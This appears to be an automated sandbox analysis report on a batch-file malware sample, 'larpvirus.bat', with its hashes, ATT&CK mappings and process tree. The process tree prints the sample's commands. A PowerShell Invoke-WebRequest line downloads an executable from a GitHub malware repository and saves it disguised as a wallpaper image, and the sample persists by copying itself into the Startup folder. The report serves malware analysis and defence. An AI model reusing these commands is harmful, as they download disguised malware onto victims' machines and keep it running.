c7af4ff42a10b28ce7923c1aac6c7cc83f76cd4f14272a6353cc404f76846e93

Analysis

user interaction
yes
max time kernel
22s
max time network
21s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
13/08/2026, 03:44

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General

Target
larpvirus.bat
Size 1KB
Sample260813-eajaeay1c1
SHA256 c7af4ff42a10b28ce7923c1aac6c7cc83f76cd4f14272a6353cc404f76846e93
MD5 b8c8e50acdf89f3b616bf9e52b52f243
SHA1 c6515d3222c246692efcea8c44ca4df19c173cc3
SHA512 1bc3389a196491fd16a2f87e6dec9c682f875450461cbd6fa657aa5a28a57222f4f1a76a39e36741f130ea6b8e3ac0d51e6bce53a6e6c49a68dcf82668571e20
TLSH
T11441323B624CF3963FF04450865258459CA956C9AC40EEE2B3DDA93BD64F62FD27580C
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3400	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4608	powershell.exe
3400	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\larpvirus.bat	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\larpvirus.bat	cmd.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1160	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4608	powershell.exe
4608	powershell.exe
3400	powershell.exe
3400	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4608	powershell.exe
Token: 33	3972	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3972	AUDIODG.EXE
Token: SeDebugPrivilege	3400	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1160 wrote to memory of 4608	1160	cmd.exe	82
PID 1160 wrote to memory of 3400	1160	cmd.exe	84

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\larpvirus.bat"
1⤵
- Creates a file in the Startup directory
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Speech; (New-Object System.Speech.Synthesis.SpeechSynthesizer).Speak('GET FUCKED BY THE larp VIRUS')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest 'https://github.com/pankoza2-pl/salinewin.exe-Malware/blob/main/old/salinewin00.01.exe' -OutFile 'C:\Users\Admin\Pictures\new_wallpaper.jpg'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3400

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004EC 0x00000000000004F0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3972

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 00a25a83d438cb9988888199571198c6bf451f0332e565255decff20aaea9548
MD5 b68dc1f88bd71dc299f0a6b2fb070e80
SHA1 f8db38845962a063b7e3bdf9d760de8ff218d496
SHA512 b49a9281800a2af528c412a6e27da7e35bad0b86fbd7999a9a4e5ac4047e2c955ea315a5c49d2e6c0160589935fa177354d3a594fa8594b32a9d9f6e3de61f30
TLSH
T1DB51CE323375B1D489163F07192C59C463BF8755FA94AF4CB658624ED92B00B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0aff46326c46884cfaa4da44369c34a4b50f07c5c8ff217c729215fb348f5e2d
MD5 bc745b5e39852fe4e0de64baafde52dc
SHA1 8392624b7ac380cb9b4f551b6beec4a1145e288c
SHA512 70caf61e620ac25b082d640ad54a2596dacfe4c411499751c0219dea471255e6a74c82d7e72206f815419388a0dddbabaf1d666b8a995a5de9c6898d6293543b
TLSH
T10931FB37BBDCC121C5A5817A009D9D0674B2EAC7045ECE8B7B84C908AD6F489CBA23A4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_kvjg4oa0.yw2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kvjg4oa0.yw2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4608-1-0x000001F07CD10000-0x000001F07CD20000-memory.dmp

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memory/4608-0-0x000001F07CD10000-0x000001F07CD20000-memory.dmp

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memory/4608-2-0x000001F063410000-0x000001F063432000-memory.dmp

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memory/4608-9-0x000001F07CD10000-0x000001F07CD20000-memory.dmp

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memory/4608-10-0x000001F07F1F0000-0x000001F07F29A000-memory.dmp

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memory/4608-11-0x000001F07CD10000-0x000001F07CD20000-memory.dmp

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